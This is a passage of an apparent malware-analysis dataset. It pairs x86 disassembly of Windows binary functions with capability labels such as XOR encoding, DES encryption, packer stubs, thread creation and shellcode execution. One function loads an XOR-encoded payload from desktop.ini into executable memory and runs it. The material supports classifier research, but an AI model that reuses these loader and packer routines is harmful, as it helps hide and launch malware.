joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10036380
Capabilities:
Encode data using xor
Encrypt data using des

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov edx, dword [ebp + 8]
mov eax, dword [edx]
push ebx
push esi
mov esi, dword [edx + 4]
mov edx, eax
shr edx, 4
xor edx, esi
and edx, 0xf0f0f0f
xor esi, edx
shl edx, 4
xor eax, edx
mov edx, eax
shr edx, 0x10
xor edx, esi
and edx, 0xffff
xor esi, edx
shl edx, 0x10
xor eax, edx
mov edx, esi
shr edx, 2
xor edx, eax
and edx, 0x33333333
xor eax, edx
add edx, edx
add edx, edx
xor esi, edx
mov edx, esi
shr edx, 8
xor edx, eax
and edx, 0xff00ff
xor eax, edx
shl edx, 8
xor esi, edx
rol esi, 1
mov edx, esi
xor edx, eax
and edx, 0xaaaaaaaa
xor esi, edx
xor edx, eax
rol edx, 1
push edi
mov ecx, 0x433d708
mov dword [ebp - 4], edx
mov dword [ebp - 8], 8
mov eax, esi
ror eax, 4
xor eax, dword [ecx]
add ecx, 0x10
mov edx, eax
shr edx, 0x18
mov edi, eax
shr edi, 0x10
and edi, 0x3f
and edx, 0x3f
mov edx, dword [edx*4 + 0x432d6a8]
or edx, dword [edi*4 + 0x432d8a8]
mov edi, eax
shr edi, 8
and edi, 0x3f
or edx, dword [edi*4 + 0x432daa8]
and eax, 0x3f
or edx, dword [eax*4 + 0x432dca8]
mov eax, dword [ecx - 0xc]
xor eax, esi
mov edi, eax
shr edi, 0x18
and edi, 0x3f
mov edi, dword [edi*4 + 0x432d7a8]
mov ebx, eax
shr ebx, 0x10
and ebx, 0x3f
or edi, dword [ebx*4 + 0x432d9a8]
mov ebx, eax
shr ebx, 8
and ebx, 0x3f
or edi, dword [ebx*4 + 0x432dba8]
and eax, 0x3f
or edi, dword [eax*4 + 0x432dda8]
or edi, edx
mov dword [ebp - 0xc], edi
mov edi, dword [ebp - 4]
xor edi, dword [ebp - 0xc]
mov eax, edi
ror eax, 4
xor eax, dword [ecx - 8]
mov dword [ebp - 4], edi
mov edx, eax
shr edx, 0x18
mov ebx, eax
shr ebx, 0x10
and ebx, 0x3f
and edx, 0x3f
mov edx, dword [edx*4 + 0x432d6a8]
or edx, dword [ebx*4 + 0x432d8a8]
mov ebx, eax
shr ebx, 8
and ebx, 0x3f
or edx, dword [ebx*4 + 0x432daa8]
and eax, 0x3f
or edx, dword [eax*4 + 0x432dca8]
mov eax, dword [ecx - 4]
xor eax, edi
mov edi, eax
shr edi, 0x18
and edi, 0x3f
mov edi, dword [edi*4 + 0x432d7a8]
mov ebx, eax
shr ebx, 0x10
and ebx, 0x3f
or edi, dword [ebx*4 + 0x432d9a8]
mov ebx, eax
shr ebx, 8
and ebx, 0x3f
or edi, dword [ebx*4 + 0x432dba8]
and eax, 0x3f
or edi, dword [eax*4 + 0x432dda8]
or edi, edx
xor esi, edi
dec dword [ebp - 8]
jne 0x10036403
mov ecx, dword [ebp - 4]
ror esi, 1
mov eax, esi
xor eax, ecx
and eax, 0xaaaaaaaa
xor esi, eax
xor eax, ecx
ror eax, 1
mov ecx, eax
shr ecx, 8
xor ecx, esi
and ecx, 0xff00ff
xor esi, ecx
shl ecx, 8
xor eax, ecx
mov ecx, eax
shr ecx, 2
xor ecx, esi
and ecx, 0x33333333
xor esi, ecx
add ecx, ecx
add ecx, ecx
xor eax, ecx
mov edx, dword [ebp + 8]
mov ecx, esi
shr ecx, 0x10
xor ecx, eax
and ecx, 0xffff
xor eax, ecx
shl ecx, 0x10
xor esi, ecx
mov ecx, esi
shr ecx, 4
xor ecx, eax
and ecx, 0xf0f0f0f
mov edi, ecx
shl edi, 4
xor edi, esi
mov dword [edx], edi
pop edi
xor ecx, eax
pop esi
mov dword [edx + 4], ecx
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10044900
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
xor eax, 0xffffffff
test ecx, ecx
mov esi, dword [ebp + 8]
je 0x10044929
xor al, byte [esi]
movzx edx, al
shr eax, 8
mov edx, dword [edx*4 + 0x432d100]
inc esi
xor eax, edx
dec ecx
jne 0x10044914
xor eax, 0xffffffff
pop esi
leave
ret 0xc

Function at 0x510024
Capabilities:
Packed with generic packer

Disassembly:
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [edx], al
add al, byte [eax]
add byte [eax], al
cld
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add al, byte [eax]
add byte [eax], al
cld
invalid
stc
jb 0x51002e
pop ds
xor esi, dword [ecx - 0x49]
jno 0x50ffe2
cwde
leave
jmp 0x51008f
pushal
jmp 0x510034
call 0x51003f
dec ecx
stc
mov dl, 0xed
pop ecx
pop ebx
jb 0x510049
jne 0x50ffd9
jge 0x510029
sbb dword [edx - 0x383c7edc], 0xffffffff
invalid
add ebx, 0xffffffc7
jmp 0x510058
cmp dword [ebx], 0
stc
jmp 0x510067
je 0x5100ed
jmp 0x510076
mov ecx, ebx
jmp 0x510081
add ebx, 4
jmp 0x510089
mov edx, dword [ebx]
jmp 0x510097
and eax, 0x8ced9cec
in eax, dx
cmp ebp, dword [ebx + 3]
sar ecx, cl
add edx, ebx
stc
jb 0x5100a3
mov ah, 0xb1
mov ebx, 0xc91a740d
mov eax, dword [ebx + 4]
jmp 0x5100ac
sub dword [edx], 0x3c62176a
jmp 0x5100b6
add edx, 4
jmp 0x5100bf
sub eax, 1
jmp 0x5100c6
jne 0x5100a6
jmp 0x5100d0
add ebx, 8
jmp 0x5100d7
sub dword [ecx], 1
stc
jb 0x5100de
and ecx, dword [edi]
test dword [eax + 0x72ffffff], esp
add dh, byte [ecx + 0xee83b]
add byte [eax], al
jne 0x510084
jb 0x5100e8
mov cl, 0x3b
call 0x5100fb
jmp 0x5100f1
popal
jmp 0x5100f6
jmp 0x50ed00
Function at 0x1c15058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.01c151a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x1c1507e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1c1506a
add dl, dl
jne 0x1c15089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1c150dc
xor eax, eax
add dl, dl
jne 0x1c15096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1c1517d
add dl, dl
jne 0x1c150a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1c150b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1c150bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1c150c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x1c150d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x1c15075
mov eax, 1
add dl, dl
jne 0x1c150ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1c150f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1c150e1
sub eax, ebx
mov ebx, 1
jne 0x1c15128
mov ecx, 1
add dl, dl
jne 0x1c1510e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1c15119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1c15105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1c15075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1c1513f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1c1514a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1c15136
cmp eax, 0x7d00
jae 0x1c1516d
cmp eax, 0x500
jb 0x1c15168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1c15075
cmp eax, 0x7f
ja 0x1c15170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1c15075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x1c1519e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x1c15075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x401805
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x26aa
xor edx, edx
mov dword [esp + 0x28], 0x5c
div ecx
mov dword [esp + 0x24], 0x65
mov dword [esp + 0x20], 0x70
mov dword [esp + 0x1c], 0x69
mov dword [esp + 0x18], 0x70
mov dword [esp + 0x14], 0x5c
mov dword [esp + 0x10], 0x2e
mov dword [esp + 0xc], 0x5c
mov dword [esp + 8], 0x5c
mov dword [esp + 4], str._c_c_c_c_c_c_c_c_cMSSE__d_server
mov dword [esp], 0x4053e0
mov dword [esp + 0x2c], edx
call sub.msvcrt.dll_sprintf
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x4016e1
mov dword [esp + 4], 0
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp + 8], 0
sub esp, 0x18
leave
jmp fcn.004017ac

Function at 0x401c80
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call fcn.004029b0
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov dword [esp], 2
call fcn.004029b0
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]
Function at 0x401ce0
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x40539c]
test esi, esi
jle 0x401de0
mov eax, dword [0x4053a0]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp edx, ebx
ja 0x401d10
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x401d8f
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x401d00
mov dword [esp], ebx
call fcn.00402650
mov edi, eax
test eax, eax
je 0x401e07
mov eax, dword [0x4053a0]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call fcn.00402760
mov edx, dword [0x4053a0]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x401de7
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x401d88
sub eax, 4
and eax, 0xfffffffb
jne 0x401d96
add dword [0x40539c], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0x20]
add ebx, dword [0x4053a0]
mov dword [ebx + 4], eax
mov dword [ebx + 8], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], 0x40
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x401d88
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.00401c80
xor esi, esi
jmp 0x401d1a
mov eax, dword [0x4053a0]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.00401c80
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call fcn.00401c80
lea esi, [esi]
nop

Function at 0x4022c0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x4053b8
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x4053b0]
sub esp, 4
test ebx, ebx
je 0x402315
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x40230e
test esi, esi
je 0x40230e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x4022f0
mov dword [esp], 0x4053b8
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0xf16000
Capabilities:
Decompress data using aplib

Disassembly:
jmp 0xf1600a
jmp 0xf1800f
jmp fcn.00aaa160
Function at 0x42e003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
nop
nop
nop
nop
nop
nop
pop edi
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x42e072
nop
mov ebx, 0x407ef8
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x16c17e84
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x42e060
nop
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x42e0d2
nop
nop
mov ebx, 0x42cd70
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x1192eff
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x42e0c0
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x108a638
Capabilities:
Encode data using xor

Disassembly:
jmp 0x108a642
pushal
call 0x108a648
pop ebp
sub ebp, 0x10
sub ebp, 0xc8a638
jmp 0x108a65e
mov eax, 0xc8a638
add eax, ebp
add eax, 0x4c
mov ecx, 0x5d2
mov edx, 0x8f827e9d
xor byte [eax], dl
inc eax
dec ecx
jne 0x108a675
invalid
jmp 0x108a688
push ss
push eax
push ss
adc al, 0xa1
popfd
popfd
popfd
sbb al, 0x5c
pop esp
popfd
popfd
popfd
sahf
push eax
and eax, 0x9d9d9d95
daa
mov ch, 0x9d
popfd
popfd
push 0x7f
sahf
push ebp
push ss
sbb al, 0x91
popfd
popfd
popfd
sahf
pop eax
int 0x10
stc
mov ecx, 0xb9991461
cmc
insd dword es:[edi], dx
fnstcw word [edi - 0x32a0a63]
cmp ebx, dword [ebp - 0xa464e64]
xor eax, 0x75088537
cwde
popfd
popfd
popfd
je 0x108a67c
popfd
popfd
popfd
adc cl, bh
mov ecx, 0xb9b11461
adc cl, dh
mov ecx, 0x9518169d
popfd
popfd
popfd
push ss
or byte [ecx + 0x169d9d9d], dl
adc byte [ebp + 0x5c9d9d9d], cl
popfd
popfd
popfd
pop esp
je 0x108a691
lodsb al, byte [esi]
lahf
push ds
pop edi
cdq
aam 0x92
sbb byte [ecx + 0x62], ch
bound esp, qword [edx - 0x40]
pop edi
xchg ecx, eax
popfd
bound esp, qword [edx + 0x62]
rcr byte [edi - 0x6f], 0x9d
push ss
adc dword [ecx - 0x62626267], edi
mov ecx, 0x9d9d9d99
cmc
insd dword es:[edi], dx
fnstcw word [edi - 0x32a0a63]
aad 0xfc
cmp ebx, dword [ebp - 0x33464e64]
jne 0x108a6b1
popfd
popfd
popfd
je 0x108a6f4
lahf
popfd
popfd
enter 0xffffffffffffc0c9, 0x62
call 0x96f109bb
xchg ebp, eax
jne 0x108a70f
jecxz 0x108a6ca
popfd
popfd
popfd
push ss
and byte [ebp + 0x1c9d9d9d], dl
insb byte es:[edi], dx
adc eax, 0x70
mov eax, 0xd0836c1c
jo 0x108a6f9
insb byte es:[edi], dx
adc eax, 0x70
mov eax, 0x6f1c54ae
scasb al, byte es:[edi]
push esp
sbb al, 0x6f
xchg ecx, eax
jns 0x108a729
je 0x108a766
outsd dx, dword [esi]
xchg ecx, eax
jns 0x108a72f
je 0x108a6fe
dec edi
push ds
jne 0x108a6ec
aad 0x92
sbb ebx, edx
popfd
popfd
popfd
xchg edx, eax
adc eax, 0x9d9d9dd5
sti
push ss
and dword [ebp + ebx + 0x19927566], 0x9d9d9d87
sbb eax, 0x19927466
mov word [ebp + 0x1cfb9d9d], ds
jne 0x108a6fb
sbb dword [edi + 0x1d9d9d9d], eax
je 0x108a704
sbb dword [ebp + ebx*4 + 0x1cfb9d9d], ecx
bound di, dword [eax - 0x6277e66e]
popfd
popfd
fdiv qword [ecx + edx*2 + 0x62]
bound esp, qword [edx - 0x4c]
shl dword [esp + ebx*4 + 0x1e985c1e], 1
jne 0x108a72b
je 0x108a7b4
bound esp, qword [edx + 0x62]
mov ah, 0xc9
movsb byte es:[edi], byte [esi]
lahf
push ds
pop esp
wait
push ds
ja 0x108a73a
push ds
jne 0x108a73c
je 0x108a7dc
bound esp, qword [edx + 0x62]
rcr byte [edi - 0x6f], 0x9d
enter 0x7116, 0xffffffffffffffcb
retf 0x16c8
call 0x96e8be4a
popal
das
sbb eax, 0x5b1c9b17
pushfd
popfd
popfd
popfd
adc eax, 0x9c5a1c9a
popfd
popfd
popfd
lahf
popfd
popfd
popfd
lahf
dec edi
xchg edx, eax
sbb byte [eax + 0x179d9d9d], bl
mov ebx, ebx
invalid
Function at 0x41c500
Capabilities:
Query environment variable

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
cmp dword [0x427850], 0
jne 0x41c581
cmp dword [0x427870], 0
jne 0x41c530
call sub.KERNEL32.DLL_GetEnvironmentStrings
mov dword [0x427870], eax
test eax, eax
jne 0x41c530
push str.GetEnvironmentStrings_failed
call fcn.0041bd1c
pop ecx
xor ebp, ebp
xor esi, esi
mov ebx, dword [0x427870]
jmp 0x41c544
lea eax, [edi + 1]
inc esi
add ebp, eax
add ebx, eax
push ebx
call fcn.004168a4
pop ecx
mov edi, eax
test eax, eax
jne 0x41c53c
lea edi, [ebp + 1]
push edi
call fcn.004161a8
pop ecx
mov ebx, eax
mov dword [0x427854], ebx
test ebx, ebx
jne 0x41c56e
xor eax, eax
jmp 0x41c644
push edi
mov edx, dword [0x427870]
push edx
push ebx
call fcn.00416754
add esp, 0xc
jmp 0x41c5a1
xor esi, esi
mov ebx, dword [0x427850]
jmp 0x41c59b
push eax
call fcn.004168a4
pop ecx
test eax, eax
jne 0x41c597
dec esi
inc esi
add ebx, 4
mov eax, dword [ebx]
test eax, eax
jne 0x41c58b
lea ebx, [esi + 4]
push 4
mov dword [0x427858], ebx
inc ebx
push ebx
call fcn.00415c80
add esp, 8
test eax, eax
mov dword [esp], eax
jne 0x41c5c4
xor eax, eax
jmp 0x41c644
cmp dword [0x427850], 0
jne 0x41c5f5
xor esi, esi
mov ebx, dword [0x427854]
mov eax, dword [esp]
mov ebp, eax
jmp 0x41c5e6
mov dword [ebp], ebx
add ebp, 4
inc esi
inc edi
add ebx, edi
push ebx
call fcn.004168a4
pop ecx
mov edi, eax
test eax, eax
jne 0x41c5dc
jmp 0x41c626
xor esi, esi
mov ebx, dword [0x427850]
mov eax, dword [esp]
mov edi, eax
jmp 0x41c620
push eax
call fcn.004168a4
pop ecx
test eax, eax
je 0x41c615
mov eax, dword [ebx]
mov dword [edi], eax
jmp 0x41c619
dec esi
add edi, 0xfffffffc
add edi, 4
inc esi
add ebx, 4
mov eax, dword [ebx]
test eax, eax
jne 0x41c604
mov eax, dword [0x427850]
test eax, eax
je 0x41c636
push eax
call fcn.004161b8
pop ecx
mov edx, dword [esp]
mov eax, 1
mov dword [0x427850], edx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x401750
Capabilities:
Terminate process

Disassembly:
nop
adc byte [eax + 0x55909090], 0x8b
push ebp
mov ebp, esp
push ebp
mov ebp, esp
mov eax, dword [ebp - 0x36]
mov ecx, dword [sym.imp.MSVCRT.dll__iob]
add dword [ebx + 0x746840c1], eax
rol byte [eax + 0x21], cl
mov bh, bh
adc eax, 0x59c180
mov eax, dword [0x410240]
add esp, 0xc
test eax, eax
je 0x401787
push eax
push 0x7ed2da
inc dword [ebp + 0xa7c164]
jnp 0x40174a
or byte [edx + 1], ch
push 1
call dword [sym.imp.MSVCRT.dll_exit]
nop
or ecx, dword [ebx - 0x47b30d14]
add byte [eax], al
add byte [ecx + 0x415cb0], ah
jne 0x4017d3
mov eax, dword [0x41404c]
je 0x4017bb
sub al, 0x40
cmp al, 0x41
sub edi, ebp
call 0xbb405850
stc
or eax, 0x41025a
push edi
adc al, 0x63
adc eax, 0x6e41186a
arpl word [0x6e41186a], dx
push edx
push eax
call 0x5b405850
mov cx, word [0x4117f4]
mov dword [0x417a4e], eax
outsb dx, byte [esi]
mov al, ch
cmp eax, dword [eax]
invalid
add byte [esi - 0x78], ch
call 0xdb041816
mov esi, dword [0xf7fac190]
mov word [esp + esi*4 - 0x7aff09f5], si
add al, 0x57
jne 0x40184a
das
adc eax, 0xe7411800
push edx
push str.Benchmarking__s
call esi
mov eax, dword [0xa341027e]
adc edx, 8
test eax, eax
je 0x40181c
mov eax, dword [0x6b0274]
xor eax, 0x313c6b68
add byte [eax - 0x7c], ch
aam 0x40
add bh, bh
salc
add esp, 0xc
mov eax, dword [0x40d014]
test eax, eax
mov eax, 0xa740d480
jne 0x4018a1
mov eax, 0x9fd47c
sti
push str._be_patient__s
push eax
mov ecx, dword [str._s:_invalid_URL_n]
and dword [esi - 0x5300aee0], 0x54
ror dword [edx], 0
add esp, 0xc
ficom dword [0x40d018]
mov esi, dword [0x402c42]
push 0x860
push edx
pop edx
salc
mov dword [0x410bb0], eax
mov eax, dword [0x40d010]
cmc
and byte [eax - 1], dl
salc
mov ecx, dword [0x2e41406b]
mov dword [0x33dcd018], edx
xor ebp, 0x10
mov dword [0x1ed8c8], eax
int 0xa3
push ecx
push edx
push 0x4186c2
lds edx, [0x85009147]
sal byte [esi + ecx + 0x50], 0x68
push eax
sbb al, 0x40
add byte [esi + 0xcf24a2], dh
daa
les ecx, [eax]
lodsd eax, dword [esi]
jl 0x4018f3
inc ecx
add byte [eax], al
shl byte [ebp + 0x35], 0xa1
lodsb al, byte [esi]
in al, dx
inc ecx
add byte [ebx + 0x410b9c0d], cl
add byte [ebx - 0x11691b11], cl
add byte [edx], ch
push 0x6740d19c
push eax
movsd dword es:[edi], dword [esi]
dec esp
inc eax
inc ecx
add byte [ecx + 0x68], dl
dec eax
aam 0x40
add byte [edx + 0x50], dl
imul eax, dword [esi - 0x7cffff76], 0x48a31cc4
inc eax
inc ecx
add bl, ch
add eax, 0x414048a1
add byte [ebx + 0x41028022], cl
add byte [ebp - 0x4cd98a5f], al
or eax, 0x41408c
push 0x23
add byte [edx + 0x23], ch
push 0x40d19c
invalid

Function at 0x40a3d0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
pop edi
inc ebp
or byte [ebx - 0x3f7aeb89], cl
je 0x40a410
mov dword [0x50510c4d], eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x40a40a
test al, 0x68
xor eax, sym.imp.KERNEL32.dll_GetLastError
call esi
mov es, eax
xchg edi, eax
add eax, 0x8265d5e
add byte [esi + edx*8 + 0xafc8005], dh
add byte [esi + 0x5d], bl
ret 0xd608
xor eax, eax
pop ebp
ret 8
sbb dh, byte [edx]
jl 0x40a414
dec esi
pop ebp
or dword [eax], 0xfffffff7
nop
nop
nop
nop
nop
nop
nop